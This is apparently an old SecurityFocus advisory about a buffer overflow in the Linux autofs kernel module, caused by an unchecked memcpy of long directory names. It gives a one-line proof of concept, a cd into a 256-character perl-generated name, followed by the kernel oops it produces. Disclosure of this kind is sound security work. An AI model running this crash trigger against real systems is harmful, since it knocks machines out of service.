source: http://www.securityfocus.com/bid/312/info

The autofs module provides support for the automount filesystem, as well as the interface between the kernel and the automountd daemon, which is responsible for the actual mounting. Calls such as chdir() executed in the automount directory are handled by the module, and if the desired directory is defined in the configuration files, automountd then mounts that directory/device. When a chdir() or similar function is called in the autofs directory, by a user doing something along the lines of "cd xxxx", the function fs/autofs/root.c:autofs_root_lookup() is called.

The autofs kernel module does not check the size of the directory names it receives. It is passed the name and the names length through dentry->d_name.name and dentry->d_name.len respectively. Later on it memcpy()'s the name into a 256 byte buffer, using dentry->d_name.len as the number of bytes to copy, without checking its size. A nonprivilaged user may attempt to cd to a directory name exceeding 255 characters. This overwrites memory, probably the kernel stack and anything beyond it, and causes kernel errors or makes the machine reboot .

In this example exploit, we have a user using perl to generate a directory name that's 256 characters (the maximum being 255). The buffer for the directory name will overflow by one byte in this case:

[user@localhost auto-mounted-dir]# cd `perl -e 'print "x" x 256'`

invalid operand: 0000

CPU: 0

EIP: 0010:[<c0155b00>]

EFLAGS: 00010282

eax: 00000000 ebx: c2a90c20 ecx: c265904c edx: c0000000

esi: c29d3b00 edi: c2928000 ebp: c260d940 esp: c26c5ee8

ds: 0018 es: 0018 ss: 0018

Process bash (pid: 360, process nr: 21, stackpage=c26c5000)

Stack: 00000000 00000000 c260d940 c260d900 00000286 c0154c58 c0154ca8

c2928000 c260d940 c2928000 c260d900 c2659d50 c26cd3a0 00000286 c0154def

c260d900 c029c000 c2928000 c2659d9c c260d900 c2659d50 c0154ef7 c260d900

c260d900 c029c000 c2928000 c2659d9c c260d900 c2659d50 c0154ef7 c260d900

c260d900

Call Trace: [<c0154c58>] [<c0154ca8>] [<c0154def>] [<c0154ef7>] [<c0128759>]

[<c0128912>] [<c01289e9>] [<c012126e>] [<c0107a40>]

Code: fe ff ff 83 c4 08 eb 03 ff 43 1c 8b 7c 24 1c 83 7f 0c 00 74

-{Shell dies}-